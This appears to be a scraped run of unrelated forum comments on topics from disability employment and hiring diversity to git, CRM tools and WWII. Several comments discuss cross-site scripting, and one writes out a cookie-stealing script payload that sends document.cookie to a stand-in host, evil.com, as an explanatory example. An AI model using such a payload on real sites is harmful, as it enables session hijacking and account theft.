I'm sorry for being so 'meta' in here, but here I go again. One thing you could ask yourself is why feel the need to that discussion in the first place.

I have my own thoughts on the male-female dynamic that are by no means mainstream and could offend a whole bunch of people. But rather than inflate a sense of 'disconnect', I now try to find the 'harmony' and to only discuss these things in the right setting and with the right type of people.

In hindsight, I feel that seeking out such discussions was really just a combination of on the one hand confirming how much more unique, smart and reasonable/rational I was in comparisons to other, and on the other hand a way of justifying my inability to deal with the 'otherness' (of women, social people, etc.).

Not only did this behavior actively hurt others at times, it didn't really matter that much to my own life. I could've simply quit engaging with people who disagree with me to the point of 'active' disharmony, and spent my time with people who are more, well, agree-able. Or I could've disliked their beliefs, but given it a rest because in the grand scheme of things not being lonely is often preferable to being 'right' (within certain limits, of course).
There are apparently easier ways, but I just chucked an alert(); in my Dropbox public folder, did an //dl.dropboxusercontent.com/u/14XXX/xss.js as they serve both http and https.
I asked this question once on SO and never really got a "great" answer I was after.

If my site will only ever allow users to see their own submitted data, and never ever data another user has submitted (i.e. no general 'posts' etc) - then is there actually a XSS risk on my site?

So I'm curious if an attacker can gain anything by looking at their own XSS attack?

If that were true, and they were so sure of the quality of their code then they'd keep going, wait for the all clear and say: "Look, we've been doing this for 10 years, our system is now independently audited, will you please support us..."

I suspect that would have brought in a few dollars in the current climate.
I found this article disturbing.

Why are we forcing developmentally disabled people -- or anyone, for that matter -- to get jobs? Is there a dire shortage of low-skilled labor that I'm not aware of?

"Whenever we talked about his employment prospects after the age of 21, we reminded Jamie that he did not want to live a life of watching YouTube, wrestling videos and Beatles Anthology DVDs in the basement."

Would there have been anything wrong with watching YouTube videos all day if Jamie's father had never told him that it was wrong?

And if the purpose of sheltered workshops is to provide busy work for developmentally disabled people, why should it matter whether they pay below minimum wage?
From a company perspective the reason is you may well be missing out on great talent and the great teams that research shows come with greater diversity.

I don't necessarily agree with affirmative action, but if you believe that many of the factors which contribute towards easily measured ability (attending a good school, work experience) may be skewed, then you presumably also accept that there is untapped potential out there - people with the ability to be as great but who have been in some way - fairly or otherwise - disadvantaged.

In IT in particular, where everything changes rapidly, you want to be hiring for potential as much as skill the candidate has today.

I don't think it's about picking someone because they're part of a minority, it's about thinking about how you look for and judge candidates to take into account that potential which so far hasn't been tapped.
How about no control? The only way people are doing to adopt the idea of mainstream flying vehicles is if they are full automatic. In a way, they should be easier and safer than self-driving cars, because there are a lot less obstacles to care about.

Not saying the American system solves this either. But it's interesting how the different approaches end up working on the ground.

It seems like most countries live perfectly fine without tracking people's races.
Not saying it is (unprofessional or petulant). I'm saying these are but two possibilities. Of many.
Interestingly, modern WebKit browsers include an "XSS auditor" that will refuse to run javascript sent in the request that loaded the page. It's pretty good (and open-source), so figuring out a way to have XSS without hitting the auditor is a big win for the attacker.
Nice ! Thanks for sharing :-)
Reason: "sexual content". Seriously, this is not the first time and this is retarded. How the hell some old looking Xbox 1 3D models in bikinis are somewhat sexual? I'll start looking for some alternatives as I'm tired of all this crap.

Indeed, the Fyuse "image" seems to be "simple" javascript to swipe between 67 frames (jpg images). It claims to fill in the gaps between pictures, but it would be interesting to see how the pictures were taken.
If you could use both axes at the same time, that would be something cool, but it seems to work only in one axis.
That might be chicken-and-egg. By following more rigorous practices, bash might become more acceptable to you for more complex tasks.
If you missed something else, like a CSRF attack, an attacker could get you to submit an XSS request that sends your cookies to him.

There are other defenses against that, like having HttpOnly set on your cookies. Once you decide to let one particular thing through, though, you've lost defense in depth.
Since TC developers were unknown for a long time. Perhaps the audit effort, or someone involved with it, intentionally or not, somehow opened some clue that allowed some 3-letters agency go after the developers and they receive those weird proposals like Lavabit ??
Excellent I glossed over this one as I didn't know what SEP was. I maybe wrong but if it http://www.acronymfinder.com/Someone-Else's-Problem-(SEP).ht... its brilliant.
Yes. If you had an XSS vulnerability via a GET querystring parameter, an attacker could encourage a victim to visit a URL which exploited the vulnerability (or, say, iframed the URL in another page which they got the victim to visit), then the attacker could, say steal the user's auth cookie with something like <script>(new Image).src = "http://evil.com/stolencookie=" + document.cookie;</script>.
I'm going on what wikipedia describes as [lock-free](https://en.wikipedia.org/wiki/Lock-free). In that theoretical sense there is no difference between a mutex lock and a spin-lock. But, they may both be "lock-free". By the definition presented there virtually all programs are lock-free... that would be better termed "deadlock-free".

Most people I've meet though assume lock-free just implies not using mutexes, but that spin-locks are fine. There appears to be a conflict between this definition (the one you've given) and the theoretical one.

I generally stick to the term "wait-free" since it's meaning is less ambiguous.
They're offering an encryption product, not a service, an NSL would seem pointless unless they want to slap one at everyone who implements cryptography. and there's plenty of better ways for 3 letter agencies to obtain FDE keys. The Linux instructions just make it clear that your options and process vary per distro, if they're ditching the project I doubt they felt like writing piles more docs to describe every possible combination of loop-aes, dm-crypt, ecryptfs, encfs, luks, etc.
I like to think of it as flying versus taking the train. I don't think anyone prefers the experience of flying economy to a romantic first-class cabin on a train, but they do it anyways because it saves time and money that they can spend on things they consider more important.
We are not forcing people to get jobs. We are allowing them to get jobs if they wish.

Work has some stron benefits - social activity; economic activity; independance. These spread into health benefits (exercise, mental health resiliance) and also strongly reduce the risk of abuse.

Watching yourube videos all day is not what most people want to do. It would have been a problem for the person doing it, but also a problem for the people looking after him.

I really do not understand what point you're trying to make. This young man wants to be part of society. It's easy to say that his mental capacity is the problem, but perhaps it is our attitudes to his capacity that are the greater problem.

He might not ever be a marine biologist, but he could certainly help at aquariums.

For many years people have left people with learning disabilities to rot. Look at the mortality for people with LD we see unacceptably poor rates for things not connected to their LD, caused by things like doctors making excessive use of DNR for people with LD, or even just people not keeping dental hygiene up to date.

I like to see much of the field of psychology as similar to 'early' medicine, or perhaps even our current treatment methods for cancer.

The methods are often primitive, inaccurate, and, in hindsight, sometimes even harmful. But we're doing the best we can, and the goal is (generally) good. And often it's better than nothing.

This should not prevent us from criticizing what we deem to be bad or at least faulty solutions, but it is also important to realize that this is an ongoing process, and not to reject the efforts because they're not perfect.

Diet Soda Beats Water for Weight Loss, Industry-Funded Study Finds
Depends. I juice up 1.5lb spinach, chard, kale, 1 carrot, and a lemon. I rarely add high glucose/fructose fruits. Carrot juice is pretty sweet. I like green veggie juices over fruit juices.

A real good juicer goes a long way. It changed my perspective the first time I tasted a fresh cup of what I describe above. Invigorating and healthy.
I agree. I didn't pay attention to the title until I read your comment and missed this great subtly. For those that missed it, the title uses zero for the letter "O" in OK/0K. As in "zero Kelvin."
Why don't we teach more people to be better 'investors in growth'?
I like the Dart, though. I've window shopped employment in the DFW area. Problem is all the major companies are in suburbs like Plano, where there is no metro access.

At least they build the roads to accommodate down there. 4 lanes each side for regular avenues, and the travel density justifies them. Up in the northeast some major interstates and roads like i78 and route 22 are two lanes with the traffic of a 3 lane each side highway.

Whenever I move next, though, I'm moving where I can take public transport commutes to any office I work at (if any at all, I'd prefer remote, maybe one in office day a week). The monetary investment and insane risks with cars is just way too much to justify.
They must be getting water (dirty or otherwise) from somewhere or they'd already be dead. I fail to see how mixing that water with Soylent leaves them worse off.

Furthermore, there's no reason Soylent can't be baked into a solid form and distributed/eaten that way.
Where I work, we use Podio (now part of Citrix).

It is free (until you reach 5 users) and is fully customizable. I highly recommend.

Wacko in the Morning – BOB HOPE BIRTHDAY TRIBUTE 05/29 by The Wacko Network
I hate these kinds of popups. But what I find interesting is that whenever I get one of these annoying elements, that display on exit-intent, I always feel the need to close them before closing the browser tab. It makes no sense because I was going to close the tab anyway. Am I alone in this?
I'm a huge fan of Git and I think it improves my coding life drastically. But I completely agree with you that git is not better for every task. You either need a shell (which many modern coding tasks simply don't require at all) or you need a reasonably abstract GUI tool (I only know the GitHub GUI tool to fulfill that requirement, all IDE integration I know off sucks). But even in the case of well designed GUI tools you often do things like "create a feature", "send pull request to main repo", etc. If there is git underneath or any other version aware data storage doesn't really matter. A couchDB might have been a fine choice as well. So the only real use case is when you work in shells anyway and when you require the more complex git capabilities. Therefore I don't think it should be the major, hip tool everybody uses and I hope the world soon realizes this and creates tools for every day usage with an every day amount of power under the hood that can be handled without a mastery in git foo. (After having said that, I want to remind the reader that I myself love, need, want and use git with nearly everything it has to offer, but I had the time, energy and interest to dig deep into it for a long time)
POSTs can be forged too, if another vulnerable site permits Javascript on their domain accidentally (among other ways, but that's the big one).

GitHub Diff helper (remove files from the diff view)
Would you be happy sitting in the basement watching YouTube videos all day? Jamie is clearly happier working a job, he earns some money, the employer gets a job done, and somebody with a normal IQ is freed to do something more mentally demanding. Sounds like a quadruple win to me.
I hate the spoilers in the Facebook comments though.
It's unfortunate that literal strings in C++ cannot be programmatically distinguished from char* buffers. It would be useful if there were a separate type for literal strings which could implicitly decay to char* when needed. And functions should be able to return that type, because you may have "literal_string toString(MyEnum)" which always returns a literal string (or perhaps null).

Also, yes, Boost has some lock-free stuff now. It didn't back when the author was writing the code described.
Really cool chrome extension.

Usually, when you view a PR, you don't care about some files, this gives you an option to remove them from the view and focus on what's important.
Yes, that's exactly what it's saying. I'm really, really happy that these versioning schemes become more popular and that people really start to read something into it. In my company people's opinion about Git2.0 is strongly split. Some people understand an increase of the major to have API changes, while the others didn't know about this versioning scheme and got a lot of unexpected problems.
Maybe in Taxonomy? Taxonomists are scientists who can catalogue specimens of animals and plants into species, and argue about what is a species and what is two species.

However, he might be quite good at learning to classify specimens and classifying them. Not in the more academic/scientific role, but it would be valuable work. He might even be able to discover things about taxonomy nobody else has found yet.
This is fascinating, I really enjoy the turn of the century science stories that come up. Big egos, big risks, fantastic results.
Edward Snowden's Motive Revealed: He Can 'Sleep at Night'

In other interviews (1) he actually mentions music first, then the talent, than the hardware business. Sounds more like PR story-telling than an actual assessment of why they made this move.

The music angle is touchy-feely, the talent angle makes it seem like Apple got something that's exclusive, and the profitable hardware business is the solid base to calm investors.

Hey, when it comes to mobile, I develop them in pure Objective-c for iOS, and pure Java for Android. I use tools provided by both compagnies. So yeah, I do the jobs twice, but I think it's ok.

Anyone have feedbacks coming from what I do to something like RubyMotion or Xamarin? These solutions sound very interesting, but I've yet to try them. I think I'm too attached to my Objective-c and workflow.

Also, is there peoples who originally used RubyMotion or Xamarin and went to use OC and Java?
Makes sense. How about other implementations?
Today's example of this would be TFS or Sharepoint.
WWII was unbelievably vast. If you look at the numbers, men, equipment, fronts, battles...all with logistics, supplies, planning and other administrivia handled by hand before computers and modern communication systems. It boggles the mind. I mean, they didn't even really have good photocopiers

When I was in high school, I had the honor of being chosen as a "musical exchange student" along with a dozen other musicians from local schools to spend a summer in and around Yekaterinburg. While there, we formed a small chamber ensemble and played music for various local groups, including several WWII veteran retirement homes (Great Patriotic War Vets). After our performance, many of the very old vets came up and were beyond warm in thanking us for coming and playing for them. A few mentioned remembering the Soviet-American alliance and lamented our animosity since then, they hoped our countries could be friends and we'd have a long future together.

Curious, we visited various GPW memorials and museums and such. It was a pretty intense education. It was the first time I had ever really heard a non-American perspective on the war and the scale of the Soviet involvement, something I had been completely ignorant of before that point, kind of blew my mind. It really set in my mind the importance of not accepting the education I was fed and to expand my horizons to try and look at things from different angles.

It gave me the travel bug and I try and go out of the country at least once a year since then.
If long-term your plan is that company is just going to be _you_ then keeping it simple is the right idea. Using a simple workflow with a Google form feeding into a spreadsheet with status on it will work perfectly well.

If you think that you're going to be dealing with the same customer on multiple occasions so you'll want to record the history of your interactions then you'll need a CRM. If you want to build up a database of people who showed interest that you'll then talk to regularly, then you'll probably want CRM. Finally, if your intention is to scale the company and so have many people talking to prospects and customers then you definitely need CRM.

Salesforce is the most well-known and it's relatively easy to get started with, very Cloudy and has a platform so you can build operations on it. You reference Oracle, they (and Microsoft) have complete enterprise solutions which are at a different level. SF is more at the middle of the pack. It's well-known and many people are familiar with it. But you're right, it's a full CRM so it does far more than just tracking your leads.

There are other light-weight Cloud solutions out there, and SugarCRM is probably a good Open Source option that (as a technologist) you could easily use.
Pretty cool.
